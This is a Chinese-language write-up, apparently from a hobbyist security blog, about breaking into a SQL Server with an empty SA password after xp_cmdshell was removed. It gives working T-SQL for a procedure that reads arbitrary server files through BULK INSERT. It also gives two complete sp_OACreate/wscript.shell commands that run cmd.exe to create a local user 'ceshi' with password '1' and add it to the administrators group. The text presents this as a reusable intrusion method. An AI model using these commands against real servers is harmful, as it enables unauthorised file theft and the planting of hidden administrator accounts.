前幾天朋友找我,讓我幫忙測試一下他們的服務器,經過掃描后發現SQLServer的SA為空,決定利用這個漏洞做滲透測試。經過測試發現存儲過程Xp_cmdshell以及讀取注冊表系列的存儲過程都被刪除了,并且Xplog70.dll也被刪除,所以無法執行CMD命令和克隆管理員帳號了,看樣子是經過安全配置的,這種情況據我當時掌握的知識是沒辦法入侵的。以前也遇到過類似的機器,所以決定利用幾天的時間解決這個問題。
經過兩天的查閱資料和測試,實現了不需要使用任何SQLServer自帶的存儲過程就可以從目標機上得到txt、asp等類型文件的內容(前提是知道SA密碼或者SA密碼為空),實現過程就是自己建立一個臨時表,然后將文件讀到表中,再用SELECT語句得到返回值,即文件的內容。我們可以在查詢分析器里先寫入一個存儲過程,然后執行,在需要的時候只要調用該存儲過程即可:
Create proc sp_readTextFile @filename sysname as begin set nocount on Create table #tempfile (line varchar(8000)) exec ('bulk insert #tempfile from "' + @filename + '"') select * from #tempfile drop table #tempfile End go |
這樣我們只要執行類似下面的語句就可以得到指定路徑下文件的內容:
exec sp_readTextFile 'c:\aaa.asp' |
實現這個功能后,本打算通過讀取朋友服務器上網站的asp代碼,做進一步的入侵,可是后來發現,因為不知道網站asp文件的絕對路徑,所以這個功能根本用不上,只好作罷,另找其他方法。在這之后的幾天時間里,我想到了使用安全文章經常提到OLE相關的一系列存儲過程,這一系列的存儲過程同Xp_cmdshell以及讀取注冊表系列的存儲過程一樣危險,但是其使用方法不象那些存儲過程在網絡上和書上介紹的那樣多,這系列的存儲過程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,下面我講一下通過查閱資料得到的使用方法:
打開查詢分析器,然后使用SA與目標機連接上,在查詢分析器里執行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user ceshi 1 /add'-- |
這樣對方系統增加了一個用戶名為ceshi,密碼為1的用戶,再執行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators ceshi /add '-- |
用戶ceshi,被加入管理員組。
總結:通過這次滲透測試,又學到了一種利用存儲過程控制SA為空的SQLServer服務器的方法。